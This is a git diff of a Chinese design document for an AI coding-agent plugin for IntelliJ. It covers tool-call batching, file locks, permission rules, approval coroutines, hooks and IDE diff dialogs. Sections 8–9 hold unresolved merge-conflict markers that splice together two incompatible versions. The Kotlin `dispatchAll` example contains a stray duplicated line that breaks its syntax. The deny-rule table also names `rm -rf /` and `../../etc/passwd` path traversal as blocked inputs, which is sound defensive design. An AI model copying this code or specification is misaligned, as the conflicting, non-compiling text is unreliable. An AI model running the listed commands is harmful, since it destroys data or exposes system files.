编辑器内联高亮 + Ctrl+Z 可撤销。 --- -## 6. 文件写操作并发保护 +## 6. 并发调度策略 ### 6.1 问题 -AI 可能一次返回多个 tool_call,其中两个 `edit_file` 修改同一文件。并发执行会导致后写入的覆盖先写入的,丢失修改。 +AI 一次返回多个 tool_call 时需要决定并发/串行执行策略: +1. 并发写入同一文件会丢失修改 +2. 有隐式依赖的命令(如 `mkdir` 失败后 `touch` 无意义)应级联取消 +3. 结果需要保持原始顺序,让模型理解因果关系 + +### 6.2 解决方案:动态分区 + 文件锁 + +#### 6.2.1 分区策略 + +利用 ToolSpec 的 `isConcurrencySafe(input)` 动态方法,将 tool_call 序列分区: + +``` +AI 返回: [read_file(A), grep_files("foo"), edit_file(B), edit_file(A), read_file(C)] + ↓ 动态判断 +分区结果: + Batch 1: [read_file(A), grep_files("foo")] ← 连续的 isConcurrencySafe=true,并发 + Batch 2: [edit_file(B)] ← isConcurrencySafe=false,串行 + Batch 3: [edit_file(A)] ← 同上 + Batch 4: [read_file(C)] ← 单个安全操作,等效并发 +``` + +规则: +- **连续的** `isConcurrencySafe=true` 的工具合并为一个并发批次 +- 任何 `isConcurrencySafe=false` 的工具独占一个批次 +- 批次之间**严格串行**(前一批全部完成才启动下一批) +- 批次内结果按**原始 tool_call 顺序**交付(并发执行但有序输出) -### 6.2 解决方案:文件级写锁 +#### 6.2.2 文件级写锁 + +同文件写入操作通过文件锁串行化: ```kotlin class FileWriteLock { @@ -434,45 +548,107 @@ class FileWriteLock { suspend fun withFileLock(path: String, block: suspend () -> T): T { val mutex = locks.computeIfAbsent(path) { Mutex() } - return mutex.withLock(block) + return mutex.withLock { + block() + } + // 注意:不在此处清理 locks Map 中的 entry。 + // 原因:withLock 释放后 isLocked=false,但另一个协程可能正等待同一把锁, + // 此时移除会导致 computeIfAbsent 创建新 Mutex,破坏串行化语义。 + // locks Map 大小受限于项目中文件数量(通常 < 10K),不构成内存问题。 } } ``` +写锁在 Dispatcher 执行写入类工具时自动持有。同一批次内不会有多个非并发安全工具(分区策略保证),因此不会出现死锁。locks Map 在 `ToolRegistry.dispose()` 时整体清理。 + +#### 6.2.3 错误级联策略 + +``` +Batch 内某工具执行失败 + │ + ├─ 只读工具失败 → 不级联,其他工具继续执行 + │ 原因:read/grep 等操作相互独立,一个失败不影响其他 + │ + └─ run_command 失败 → 级联取消同 Batch 内剩余的 run_command + 原因:Bash 命令常有隐式依赖链(如 mkdir 失败 → 后续命令无意义) + 实现:设置 hasBashError 标记,后续 run_command 返回合成错误 +``` + +非 `run_command` 的写入工具(`edit_file`、`write_file`)失败不级联——文件修改是独立操作。 + ### 6.3 调度流程 ``` -ToolCallDispatcher 收到多个 tool_calls +ToolCallDispatcher.dispatchAll(toolCalls) │ - ├─ 1. 分类:读取类工具(无锁)vs 写入类工具(需文件锁) + ├─ 1. 对每个 tool_call 调用 spec.isConcurrencySafe(input) 动态判定 │ - ├─ 2. 读取类工具:并行执行 + ├─ 2. 分区:连续安全工具合并为并发批次,非安全工具独占批次 │ - ├─ 3. 写入类工具:提取目标路径 - │ ├─ 不同文件 → 可并行执行(各自持各自的锁) - │ └─ 同文件 → 串行执行(共享同一把锁) + ├─ 3. 逐批执行 + │ ├─ 并发批次:所有工具同时启动,结果按原始顺序收集 + │ │ ├─ 失败的 run_command 触发级联取消 + │ │ └─ 全部完成(或取消)后进入下一批次 + │ └─ 串行批次:单个工具执行 + │ └─ 写入工具自动持有 FileWriteLock │ - └─ 4. 全部完成后收集结果,回传 API + └─ 4. 合并所有批次结果,按原始 tool_call 顺序排列,回传 API ``` ### 6.4 限制 - 文件锁仅保护同一会话内的并发写入 - 跨会话的并发写入依赖 IDE 自身的文件系统锁(VFS) -- MCP 工具的写入也经过同一套锁机制 +- MCP 工具默认 `isConcurrencySafe=false`,保守串行执行 +- 单个工具只允许操作一个文件路径(防止多文件操作导致死锁) + +### 6.5 工具调用频率限制 + +防止 AI 无限循环调用工具(模型 bug 或 prompt 注入导致): + +| 限制维度 | 阈值 | 说明 | +|----------|------|------| +| 单轮 Agent Loop 最大 tool_call 数 | 20 | 超出后终止 Agent Loop,返回错误信息 | +| 单次 API 响应最大 tool_call 数 | 10 | OpenAI API 级限制,超出拒绝执行并返回错误 | +| 同一工具连续调用次数 | 5 | 同一工具连续调用 5 次后追加警告提示,不阻断 | + +```kotlin +// 在 ToolCallDispatcher.dispatchAll() 入口处检查 +fun dispatchAll(calls: List, ...): List> { + if (calls.size > MAX_TOOL_CALLS_PER_RESPONSE) { + return calls.map { it to ToolResult(ok = false, output = "Too many tool calls in a single response (${calls.size} > $MAX_TOOL_CALLS_PER_RESPONSE)") } + } + // ... 正常分区调度 +} +``` + +单轮计数器在 `round_end` 事件后重置。 --- ## 7. ToolCallDispatcher 统一调度(M4) -### 7.1 职责 +### 7.1 职责边界 + +**ToolRegistry** 只负责注册/查找/生命周期管理,不执行业务逻辑: -在 ChatService 和 ToolRegistry 之间,负责: -1. 动态权限解析(bash 命令分级) -2. 权限策略判定(deny / allow / ask) -3. 审批挂起(协程挂起 + Bridge 通知) -4. 文件写锁管理 -5. 调度执行(委托 ToolRegistry) +| 方法 | 说明 | +|------|------| +| `list()` / `find()` | 注册和查找 | +| `addTools()` / `removeTool()` | 动态注册/卸载 | +| `addDisposer()` / `dispose()` | 清理 | +| `buildOpenAiTools()` | 转为 API tools 参数格式 | + +**ToolCallDispatcher** 负责完整的调度管线: +1. 工具查找(委托 `registry.find()`) +2. 动态权限解析(bash 命令分级) +3. 权限策略判定(deny / allow / ask) +4. 审批挂起(协程挂起 + Bridge 通知) +5. 文件写锁管理 +6. 执行(直接调用 `ToolExecutor.execute()`,不再嵌套 `registry.execute()`) +7. 异常兜底(`try/catch` 包裹整个执行过程) + +> **变更说明**:原设计中 `registry.execute()` 包含查找 + 校验 + 执行三层,与 Dispatcher 的"查找"逻辑重复。现改为 Dispatcher 持有完整管线,Registry 只做注册表。ToolRegistry 删除 `execute()` 方法。 ### 7.2 dispatch 完整流程 @@ -490,14 +666,17 @@ dispatch(toolName, argsJson, msgId, bridgeHandler) │ registry.find(toolName) │ 不存在 → ToolResult(ok=false, "Unknown tool: xxx") │ - ├─ 4. 动态权限解析 + ├─ 4. 参数校验 + │ 必填参数缺失 → ToolResult(ok=false, "Missing required parameter: xxx") + │ + ├─ 5. 动态权限解析 │ ├─ run_command → BashExecutor.classifyPermission(command) │ │ ├─ 只读命令 (cat, ls, grep...) → READ_ONLY │ │ ├─ 开发命令 (git, npm, cargo...) → WORKSPACE_WRITE │ │ └─ 未知命令 → DANGER_FULL_ACCESS │ └─ 其他工具 → 使用注册的 requiredPermission │ - ├─ 5. 权限策略判定 authorize() + ├─ 6. 权限策略判定 authorize() │ │ │ ├─ deny_rules(内置黑名单) │ │ └─ 匹配 → DENY(路径穿越、workspace 外访问) @@ -512,53 +691,133 @@ dispatch(toolName, argsJson, msgId, bridgeHandler) │ │ │ └─ 兜底 → ASK(弹审批框) │ - ├─ 6. 执行 + ├─ 7. 执行 │ ├─ DENY → ToolResult(ok=false, "Denied by policy") - │ ├─ ALLOW → registry.execute() + │ ├─ ALLOW → fileWriteLock.withFileLock(如需) { executor.execute() } │ └─ ASK → requestApproval() │ ├─ Bridge.notifyApprovalRequest() │ ├─ 协程挂起 awaitApproval()(见 7.4) │ ├─ 超时/拒绝 → ToolResult(ok=false) - │ └─ 用户允许 → registry.execute() + │ └─ 用户允许 → fileWriteLock.withFileLock(如需) { executor.execute() } + │ + ├─ 8. 输出截断(见 3.1 大输出截断策略) + │ output > MAX_TOOL_OUTPUT_BYTES → 截断 + 持久化到磁盘 │ - └─ 7. 返回 ToolResult + └─ 9. try/catch 兜底:异常 → ToolResult(ok=false, error.message) +``` + +### 7.2.1 并发调度模型(多 tool_call) + +当 SSE 一次返回多个 tool_call 时,ChatService 调用 `dispatchAll()`: + +```kotlin +suspend fun dispatchAll( + calls: List, + msgId: String, + bridgeHandler: BridgeHandler +): List> { + // 结果数组按原始索引存储,保证顺序 + val results = arrayOfNulls>(calls.size) + + // 1. 动态分区:isConcurrencySafe(input) 判定每个 tool_call + val batches = partitionToolCalls(calls) + + // 2. 逐批执行 + for (batch in batches) { + if (batch.isConcurrencySafe && batch.entries.size > 1) { + // 并发批次:所有工具同时启动(使用 coroutineScope + async 实现结构化并发) + val batchResults = coroutineScope { + batch.entries.map { (index, call) -> + async { + index to (call to dispatch(call.name, call.arguments, msgId, bridgeHandler)) + } + }.awaitAll() + } + index to (call to dispatch(call.name, call.arguments, msgId, bridgeHandler)) + } + // 按原始索引写入结果数组(保持顺序) + for ((index, result) in batchResults) { + results[index] = result + } + } else { + // 串行批次:逐个执行 + for ((index, call) in batch.entries) { + results[index] = call to dispatch(call.name, call.arguments, msgId, bridgeHandler) + } + } + } + + return results.map { it!! } // 按原始顺序返回 +} + +data class Batch(val isConcurrencySafe: Boolean, val entries: List>) + +fun partitionToolCalls(calls: List): List { + val result = mutableListOf() + for ((index, call) in calls.withIndex()) { + val spec = registry.find(call.name) + val input = JsonParser.parse(call.arguments).asJsonObject + val safe = spec?.isConcurrencySafe(input) ?: false + + if (safe && result.isNotEmpty() && result.last().isConcurrencySafe) { + // 追加到当前并发批次 + result[result.lastIndex] = result.last().copy( + entries = result.last().entries + IndexedValue(index, call) + ) + } else { + // 新建批次 + result.add(Batch(safe, listOf(IndexedValue(index, call)))) + } + } + return result +} ``` +**关键决策**: + +| 决策点 | 策略 | 原因 | +|--------|------|------| +| 并发判定 | `isConcurrencySafe(input)` 动态判断 | `run_command` 的安全性取决于具体命令,静态分类过于粗糙 | +| 分区规则 | 连续安全工具合并为并发批次 | 和 Claude Code 的 `partitionToolCalls` 一致,简单且高效 | +| 结果顺序 | `IndexedValue` 保留原始位置 | 模型看到有序结果才能理解因果关系(如先 mkdir 后 touch) | +| 部分失败策略 | 全部执行,各自返回独立结果 | 单个只读工具失败不应阻断其他独立工具 | +| Bash 错误级联 | 同批次内 `run_command` 失败取消后续 `run_command` | Bash 命令常有隐式依赖链 | +| 结果回传 | 等待全部完成后按原始顺序回传 API | OpenAI API 要求一次提交所有 tool_result | + ### 7.3 权限策略规则 | 规则类型 | 行为 | 示例 | |----------|------|------| -| deny_rules | 直接拒绝 | `rm -rf /`、路径穿越 `../../etc/passwd`、workspace 外访问 | +| deny_rules | 直接拒绝 | `rm -rf /`、路径穿越 `../../etc/passwd`、workspace 外访问;`run_command` 的命令参数中包含路径穿越模式时同样拦截 | | allow_rules | 放行(受 session mode 约束) | 白名单内命令、READ_ONLY 工具 | | session mode | 用户配置的全局权限等级 | READ_ONLY / WORKSPACE_WRITE / DANGER_FULL_ACCESS | | ask (兜底) | 弹审批框 | 权限升级、非白名单命令 | ### 7.4 审批挂起机制(协程实现) -使用 Kotlin 协程的 `suspendCancellableCoroutine` 替代 `CompletableFuture.get()`,避免阻塞线程: +使用 `withTimeout` + `suspendCancellableCoroutine` 替代 `CompletableFuture.get()`,避免阻塞线程和超时竞态: ```kotlin private val pendingApprovals = ConcurrentHashMap>() private suspend fun awaitApproval(requestId: String): Boolean { - return suspendCancellableCoroutine { cont -> - pendingApprovals[requestId] = cont - - // 60 秒超时自动拒绝 - val timeoutJob = scope.launch { - delay(60_000) - cont.resume(false) { } - pendingApprovals.remove(requestId) - } - - cont.invokeOnCancellation { - timeoutJob.cancel() - pendingApprovals.remove(requestId) + return try { + withTimeout(60_000) { + suspendCancellableCoroutine { cont -> + pendingApprovals[requestId] = cont + cont.invokeOnCancellation { + pendingApprovals.remove(requestId) + } + } } + } catch (_: TimeoutCancellationException) { + // 超时自动拒绝,continuation 已由 withTimeout 取消 + pendingApprovals.remove(requestId) + false } } -// Vue 回调时恢复协程 +// 前端通过 window.__bridge.approvalResponse() 回调时恢复协程 fun onApprovalResponse(requestId: String, decision: String) { val cont = pendingApprovals.remove(requestId) ?: return val approved = decision == "allow" @@ -566,17 +825,121 @@ fun onApprovalResponse(requestId: String, decision: String) { } ``` -**优势**:不阻塞线程池,多个审批可同时挂起而不消耗线程资源。 +**优势**: +- 不阻塞线程池,多个审批可同时挂起而不消耗线程资源 +- `withTimeout` 统一管理超时,不存在手动 `delay` + `resume` 的竞态风险 +- `TimeoutCancellationException` 时自动清理 `pendingApprovals`,防止泄漏 + +### 7.5 Pre/Post ToolHook 机制 + +Dispatcher 在工具执行前后提供 Hook 扩展点,支持日志、指标采集、输入修改、执行拦截等横切关注点。 + +#### 7.5.1 Hook 接口 + +```kotlin +interface ToolHook { + /** + * 工具执行前调用。 + * 返回 null → 继续执行 + * 返回 ToolResult → 拦截执行,直接返回此结果(不调用 executor) + */ + suspend fun beforeExecute(toolName: String, input: JsonObject): ToolResult? { + return null + } + + /** + * 工具执行后调用(无论成功或失败)。 + * 可用于日志记录、指标采集、结果增强等。 + */ + suspend fun afterExecute(toolName: String, input: JsonObject, result: ToolResult) {} +} +``` + +#### 7.5.2 Hook 注册 + +```kotlin +class ToolCallDispatcher(...) { + private val hooks = mutableListOf() + + fun addHook(hook: ToolHook) { + hooks.add(hook) + } +} +``` + +#### 7.5.3 Hook 在 dispatch 中的集成位置 + +``` +dispatch() 流程(节选) + │ + ├─ ... 权限检查通过 ... + │ + ├─ Pre-Hooks(按注册顺序执行,责任链模式) + │ var intercepted: ToolResult? = null + │ for (hook in hooks) { + │ val result = hook.beforeExecute(toolName, input) + │ if (result != null) { + │ intercepted = result + │ break // 短路:第一个拦截后不再调用后续 Pre-Hook + │ } + │ } + │ + ├─ 执行(仅在未被拦截时) + │ val finalResult = intercepted ?: executor.execute() + │ + ├─ 输出截断 + │ + ├─ Post-Hooks(无论是否被拦截,均按注册顺序执行) + │ for (hook in hooks) { + │ hook.afterExecute(toolName, input, finalResult) + │ } + │ + └─ 返回 ToolResult +``` + +**执行语义总结**: + +| 场景 | Pre-Hook 行为 | executor | Post-Hook 行为 | +|------|--------------|----------|----------------| +| 所有 Hook 返回 null | 全部执行 | 执行 | 全部执行 | +| 第 N 个 Hook 拦截 | 前 N 个执行,后续跳过 | **跳过** | 全部执行 | +| Hook 抛出异常 | 跳过该 Hook,继续执行下一个 | 正常执行 | 全部执行 | + +> **设计决策**:Pre-Hook 使用短路语义(第一个拦截即停止),确保只有一个拦截结果生效。Post-Hook 始终全部执行,保证日志和指标采集不遗漏。Hook 异常不阻断流程——单个 Hook 的 bug 不应导致整个工具调用失败。 + +#### 7.5.4 内置 Hook 示例 + +| Hook | 用途 | +|------|------| +| `ToolExecutionLogger` | 记录工具调用耗时和结果摘要到 IDE 日志 | +| `ToolMetricsCollector` | 采集工具调用频率、成功率、延迟等指标 | +| 用户自定义 Hook | 用户通过 Settings 或插件注册的额外校验/增强逻辑 | + +初期只实现 `ToolExecutionLogger`,其他按需添加。Hook 接口为未来扩展(如用户自定义 Hook、插件 Hook)预留了空间,不需要修改 Dispatcher 核心逻辑。 --- -## 8. Diff 审批与新建文件确认 +## 8. IDE 原生文件变更体验 + +> **核心理念**:CodePlanGUI 是 IntelliJ 插件,不是 CLI 工具。文件变更的审批和展示应该用 IDE 原生组件(DiffDialog、编辑器高亮、Inspection),而非在 WebView 中模拟终端体验。这是与 Claude Code / Cursor 等产品的核心差异化。 + +### 8.1 两种变更模式 -### 8.1 设计动机 +文件写操作(`edit_file` / `write_file`)根据信任状态走两条路径: + +``` +edit_file / write_file 触发 + │ + ├─ sessionFileWriteTrusted == false → 审批模式(§8.2) + │ └─ 弹出 IntelliJ DiffDialog(与 Git diff 同一组件) + │ + └─ sessionFileWriteTrusted == true → 信任模式(§8.4) + └─ 直接写入 + 编辑器内联高亮 + Ctrl+Z 可撤销 +``` -文件写操作具有不可逆性。用户必须在变更发生前看到并确认。这适用于修改已有文件和创建新文件两种场景。 +### 8.2 审批模式 — IntelliJ DiffDialog -### 8.2 已有文件 — Diff 审批 +未信任状态下,文件修改弹出 IDE 原生的 DiffDialog: ``` EditFileExecutor / WriteFileExecutor 修改已有文件 @@ -586,21 +949,41 @@ EditFileExecutor / WriteFileExecutor 修改已有文件 │ ├─ 读取当前文件内容 │ - ├─ 生成 unified diff:original → newContent - │ 计算增删行数 + ├─ 生成变更内容(内存中,不写入磁盘) │ +<<<<<<< Updated upstream ├─ 通过 Bridge 发送 diff 审批请求 - │ 事件: file_change_request - │ Payload: { requestId, path, diff, stats: { added, removed } } + │ 调用: notifyFileChangeRequest() → buildEventJS("file_change_request", ...) + │ → onEvent("file_change_request", payload) → groupReducer │ - ├─ 协程挂起 awaitApproval(),等待 Vue 回调 + ├─ 协程挂起 awaitApproval(),等待前端 window.__bridge.fileChangeResponse() 回调 +======= + ├─ 弹出 IntelliJ DiffDialog + │ ├─ 左侧:当前文件内容(只读) + │ ├─ 右侧:修改后内容(只读) + │ ├─ 标题栏:path + "+N / -N" 统计 + │ ├─ 操作按钮:"Accept" / "Reject" + │ │ + 复选框:"Trust this session"(当 allowSessionFileTrust=true 时展示) + │ ├─ 导航:Next Change / Previous Change(IDE 原生快捷键 F7 / Shift+F7) + │ └─ 大 diff 时顶部展示摘要条(§8.6) │ - ├─ 用户拒绝 → ToolResult(ok=false, "User rejected") + ├─ 协程挂起 awaitApproval(),等待用户操作 +>>>>>>> Stashed changes │ - └─ 用户接受 → WriteAction 写入 → ToolResult(ok=true) + ├─ 用户 Reject → ToolResult(ok=false, "User rejected") + │ + └─ 用户 Accept → WriteAction 写入 → 触发 Post-Edit 管线(§8.5)→ ToolResult(ok=true) ``` -### 8.3 新建文件 — 确认对话框 +**与 CLI 的关键区别**: +- DiffDialog 是 IDE 用户每天都在用的组件(Git diff、Compare with...),**零学习成本** +- 支持 F7 / Shift+F7 在变更之间导航,**键盘友好** +- 支持语法高亮(基于 IDE 的 LanguageFileType),**代码可读性好** +- 支持 Cmd/Ctrl+F 在 diff 内搜索 + +### 8.3 新建文件确认 — IDE 原生确认框 + +新建文件不适用 diff(无原文),弹出 IntelliJ 的 ConfirmDialog + 内容预览: ``` WriteFileExecutor 创建新文件 @@ -609,8 +992,10 @@ WriteFileExecutor 创建新文件 │ ├─ 文件不存在 → 新建文件确认流程 │ +<<<<<<< Updated upstream ├─ 通过 Bridge 发送新建文件确认请求 - │ 事件: file_create_request + │ 调用: notifyFileCreateRequest() → buildEventJS("file_create_request", ...) + │ → onEvent("file_create_request", payload) → groupReducer │ Payload: { │ requestId, │ path, @@ -619,103 +1004,429 @@ WriteFileExecutor 创建新文件 │ language: 根据扩展名推断的语言标识 │ } │ - ├─ 协程挂起 awaitApproval(),等待 Vue 回调 + ├─ 协程挂起 awaitApproval(),等待前端 window.__bridge 回调 +======= + ├─ 弹出 IntelliJ ConfirmDialog + │ ├─ 标题:"Create new file?" + │ ├─ 内容面板:EditorTextField(IDE 原生代码编辑器组件) + │ │ ├─ 路径:src/main/kotlin/NewService.kt + │ │ ├─ 大小:2.4 KB / 87 lines + │ │ ├─ 语言:Kotlin(自动推断) + │ │ └─ 完整内容(可滚动,语法高亮) + │ ├─ 复选框:"Trust this session"(当 allowSessionFileTrust=true 时展示) + │ └─ 操作按钮:"Create" / "Cancel" │ - ├─ 用户拒绝 → ToolResult(ok=false, "User rejected") + ├─ 用户 Cancel → ToolResult(ok=false, "User rejected") +>>>>>>> Stashed changes │ - └─ 用户接受 → WriteAction 写入 → ToolResult(ok=true) + └─ 用户 Create → WriteAction 写入 → 触发 Post-Edit 管线(§8.5)→ ToolResult(ok=true) ``` -### 8.4 Bridge 事件定义 +**与 CLI 的关键区别**: +- 使用 `EditorTextField` 展示内容,享受 IDE 的语法高亮、代码折叠、行号 +- 用户可以在确认框中直接滚动浏览完整内容 -#### Kotlin → Vue +<<<<<<< Updated upstream +#### Kotlin → 前端(走 `onEvent` 统一通道) -| 事件 | 字段 | 说明 | -|------|------|------| +| 事件 type | Payload 字段 | 说明 | +|-----------|-------------|------| | `file_change_request` | requestId, path, diff, stats | 修改已有文件的 diff 审批 | | `file_create_request` | requestId, path, size, preview, language | 新建文件的确认 | -#### Vue → Kotlin +#### 前端 → Kotlin(走 `window.__bridge` 动作方法) -| 事件 | 字段 | 说明 | -|------|------|------| -| `file_change_response` | requestId, decision | `"allow"` 或 `"deny"` | -| `file_create_response` | requestId, decision | `"allow"` 或 `"deny"` | +| 动作方法 | 参数 | 说明 | +|----------|------|------| +| `fileChangeResponse` | requestId, decision | `"allow"` 或 `"deny"` | +| `fileCreateResponse` | requestId, decision | `"allow"` 或 `"deny"` | +======= +### 8.4 信任模式 — 直接写入 + 内联高亮 + +信任后文件修改不再弹框,但用户仍能感知变更——通过**编辑器内联高亮**(IntelliJ 的 `LineMarkerProvider` / `HighlightVisitor`): + +``` +信任模式下文件写入 + │ + ├─ WriteAction 写入文件 + │ + ├─ 编辑器内联高亮(非弹框,不阻断工作流) + │ ├─ 新增行 → 左侧 gutter 绿色标记 + 行背景浅绿色 + │ ├─ 删除行 → 左侧 gutter 红色标记(可点击查看原文) + │ └─ 修改行 → 左侧 gutter 蓝色标记 + │ 与 Git 的"未提交变更"高亮完全一致——用户已有肌肉记忆 + │ + ├─ 同时通过 Bridge 发送 file_change_auto 通知(§8.7.4) + │ 前端在聊天流中内联展示: + │ 📝 ChatService.kt (+12 / -3) [Open in Editor] + │ 点击 → IDE 打开对应文件并定位到变更区域 + │ + └─ 用户不满意 → Ctrl+Z 撤销(IDE 原生 undo 栈) +``` -### 8.5 前端组件 +**与 CLI 的关键区别**: +- 变更直接在编辑器中可视化,与 Git diff 高亮体验一致 +- Ctrl+Z 撤销是 IDE 原生能力,每个变更都是一个 undo step +- 用户可以继续编辑,不受任何阻断 +>>>>>>> Stashed changes + +### 8.5 Post-Edit 质量管线 + +**这是 IDE 插件独有的能力——CLI 工具做不到。** + +文件写入后,自动运行 IDE 原生质量检查,将结果反馈给 AI: + +``` +WriteAction 完成 + │ + ├─ 1. Optimize Imports(自动,无感) + │ 清除未使用的 import,补充缺失的 import + │ + ├─ 2. Reformat Code(自动,按项目 .editorconfig / .ktlint 配置) + │ 统一代码风格 + │ + ├─ 3. IDE Inspection(异步,不阻断) + │ ├─ 运行 IntelliJ 的代码检查(error / warning / info) + │ ├─ 结果收集到 InspectionResult + │ │ errors: [{line, message}, ...] // 红色,必须修复 + │ │ warnings: [{line, message}, ...] // 黄色,建议修复 + │ │ info: [{line, message}, ...] // 灰色,可选 + │ │ + │ └─ 将 InspectionResult 附加到 ToolResult.output: + │ "File written successfully. + │ ⚠ Inspection found 1 error, 2 warnings: + │ ERROR line 42: Unresolved reference: 'dispatcher' + │ WARN line 15: Unused import: 'java.util.concurrent.*' + │ WARN line 88: Function 'processToolCall' is never used" + │ + └─ AI 根据 Inspection 反馈自行决定是否修复 +``` + +**实现**: + +```kotlin +class PostEditPipeline(private val project: Project) { + + data class InspectionResult( + val errors: List, // must fix + val warnings: List, // should fix + val info: List // optional + ) + + data class Finding(val line: Int, val severity: String, val message: String) + + /** + * 在 WriteAction 之后执行质量管线。 + * optimize + reformat 是同步的(毫秒级), + * inspection 是异步的(可能耗时数百毫秒),不阻断 ToolResult 返回。 + */ + suspend fun runAfterWrite(virtualFile: VirtualFile): InspectionResult? { + // 1 & 2: 同步执行(在 WriteAction 内或紧随其后) + CodeInsightUtil.getInstance(project).optimizeImports(virtualFile) + CodeStyleManager.getInstance(project).reformat(virtualFile) + + // 3: 异步 inspection,结果通过回调收集 + return runInspectionAsync(virtualFile) + } +} +``` -**FileChangeDialog** — Diff 审批: -- 展示 unified diff(增行绿色、删行红色、上下文灰色) -- 显示统计:`+N 行 / -N 行` -- 操作按钮:"拒绝" / "接受更改" +**关键约束**: +- Optimize Imports 和 Reformat 是自动执行的,**不可关闭**——这是 IDE 插件的基本价值 +- Inspection 是异步的,不阻断 ToolResult 返回。AI 拿到的是最终结果(含 inspection 反馈) +- Inspection 结果中只有 **error** 级别的问题会强制反馈给 AI,warning/info 可通过 Settings 配置是否反馈 +- 如果 AI 修复了 inspection 发现的问题,修复本身也走信任/审批流程(递归但有限次,见 §6.5 频率限制) + +### 8.6 大 Diff 摘要条 + +审批模式下,diff 超过 `DIFF_SUMMARY_THRESHOLD`(默认 100 行)时,DiffDialog 顶部展示摘要条: + +``` +┌──────────────────────────────────────────────────────────────────────┐ +│ ℹ Large change: +45 / -120 lines | Affected: sendMessage(), │ +│ handleToolCallComplete() [Expand All] │ +├──────────────────────────────────────────────────────────────────────┤ +│ │ +│ (标准 DiffDialog 内容区) │ +│ │ +├──────────────────────────────────────────────────────────────────────┤ +│ [☐ Trust this session] [Reject] [Accept] │ +└──────────────────────────────────────────────────────────────────────┘ +``` + +**实现策略**: +- 摘要条是 DiffDialog 的自定义顶部面板(`JPanel` / `JBCollapsablePanel`) +- 涉及函数/类名由 Kotlin 后端在生成 diff 时通过正则提取(匹配 `fun `、`class `、`def ` 等声明行) +- 数据通过 `DiffDialog` 的 `UserData` 传入,**不经过 Bridge**(纯 IDE 侧交互) + +**阈值**:`DIFF_SUMMARY_THRESHOLD = 100`(行数),可通过 Settings 配置。 + +### 8.7 审批疲劳缓解 + +高频文件修改场景下,逐条 diff 审批会打断用户工作流。提供会话级信任机制: + +#### 8.7.1 交互设计 + +DiffDialog 和新建文件确认框底部增加复选框: + +``` +[☐ Trust this session — auto-apply all file changes] + +[Reject] [Accept] +``` + +- 勾选后点击 Accept:当前操作正常执行,**且当前会话内后续所有 `edit_file` / `write_file` 进入信任模式(§8.4),不再弹框** +- 不勾选直接点击 Accept:仅本次放行,下次仍弹框 +- 点击 Reject:无论是否勾选,仅拒绝本次操作,不影响后续 + +#### 8.7.2 后端状态管理 + +```kotlin +// ToolCallDispatcher 中维护会话级信任状态 +class ToolCallDispatcher(...) { + @Volatile + private var sessionFileWriteTrusted = false + + // 在 authorize() 流程中检查 + // edit_file / write_file 且 sessionFileWriteTrusted == true → 直接 ALLOW + // 弹框时如果用户勾选了信任 → 回调时设置 sessionFileWriteTrusted = true +} +``` -**FileCreateConfirmDialog** — 新建文件确认: -- 显示文件路径、大小、语言类型 -- 内容预览(前 20 行,带语法高亮) -- 操作按钮:"拒绝" / "创建文件" +| 时机 | 状态变更 | +|------|----------| +| 新会话开始 | `sessionFileWriteTrusted = false` | +| 用户勾选信任 + 接受 | `sessionFileWriteTrusted = true` | +| 用户点击"新对话" | 重置为 `false` | +| IDE 关闭 | 重置为 `false` | -两个对话框均 60 秒超时自动拒绝。 +#### 8.7.3 Settings 全局开关 + +Settings 中新增配置控制此功能的可见性: + +| 字段 | 类型 | 默认值 | 说明 | +|------|------|--------|------| +| `allowSessionFileTrust` | Boolean | `true` | 是否在 DiffDialog 中展示"Trust this session"选项 | + +当 `allowSessionFileTrust = false` 时,DiffDialog 不展示复选框,每次文件修改都需要审批。适用于对安全性要求极高的项目。 + +#### 8.7.4 受信任状态下的变更通知 + +信任后文件修改不再弹框,但用户仍需感知变更发生。Dispatcher 在 `sessionFileWriteTrusted = true` 时,每次文件修改发送轻量通知事件(非阻塞): + +| 事件 type | Payload | 说明 | +|-----------|---------|------| +| `file_change_auto` | `{path, stats: {added, removed}}` | 自动执行的文件变更通知 | + +前端收到此事件后,在聊天流中内联展示一行轻量提示(非弹框): + +``` +📝 ChatService.kt (+12 / -3) [查看 Diff] +``` + +点击"Open in Editor"调用 `window.__bridge.openFile(path, line)` 打开 IDE 编辑器并定位到变更区域。 --- ## 9. Bridge 事件体系扩展 -### 9.1 现有事件(保留) +> **架构前提**:Phase 1 已将 15 个独立回调统一为单一 `onEvent(type, payload)` 通道(`buildEventJS()` → `onEvent`)。Phase 2 引入 `MessageGroup[]` 替代扁平 `Message[]`,`eventReducer` 升级为 `groupReducer`。本节在此基础上扩展。 -| 方向 | 事件 | 说明 | -|------|------|------| -| IDE → Vue | `onApprovalRequest` | 命令审批请求 | -| IDE → Vue | `onExecutionStatus` | 执行状态更新 | -| Vue → IDE | `approvalResponse` | 用户审批决定 | +### 9.1 现有事件(保留,走 `onEvent` 通道) -### 9.2 新增事件 +Phase 1 已将以下事件统一到 `onEvent(type, payload)` 通道: -| 方向 | 事件 | 说明 | -|------|------|------| -| IDE → Vue | `onFileChangeRequest` | 文件修改 diff 审批请求 | -| Vue → IDE | `fileChangeResponse` | diff 审批决定 | -| IDE → Vue | `onFileCreateRequest` | 新建文件确认请求 | -| Vue → IDE | `fileCreateResponse` | 新建文件确认决定 | +| 事件 type | Payload | 说明 | +|-----------|---------|------| +| `approval_request` | `{requestId, command, description}` | 命令审批请求 | +| `execution_card` | `{requestId, command, description}` | 执行卡片创建 | +| `execution_status` | `{requestId, status, result}` | 执行状态更新 | +| `log` | `{requestId, line, type}` | 执行日志 | +| `round_end` | `{msgId}` | 工具调用轮次结束(Phase 2 激活) | + +### 9.2 新增事件(新增 type,复用 `onEvent` 通道) + +<<<<<<< Updated upstream +新增 2 个 IDE → 前端事件类型,直接在 `groupReducer` 中新增 case 处理: + +| 事件 type | Payload | 说明 | +|-----------|---------|------| +| `file_change_request` | `{requestId, path, diff, stats: {added, removed}}` | 文件修改 diff 审批请求 | +| `file_create_request` | `{requestId, path, size, preview, language}` | 新建文件确认请求 | + +新增 2 个前端 → IDE 动作方法(挂载到 `window.__bridge` 动作接口): + +| 动作方法 | 参数 | 说明 | +|----------|------|------| +| `fileChangeResponse` | `(requestId, decision)` | `"allow"` 或 `"deny"` | +| `fileCreateResponse` | `(requestId, decision)` | `"allow"` 或 `"deny"` | ### 9.3 现有事件扩展 -**onApprovalRequest** 增加 `toolName` 参数: +**`approval_request`** 增加 `toolName` 和 `toolInput` 字段: +======= +新增 IDE → 前端事件类型,直接在 `groupReducer` 中新增 case 处理: + +| 事件 type | Payload | 说明 | +|-----------|---------|------| +| `file_change_auto` | `{path, stats: {added, removed}}` | 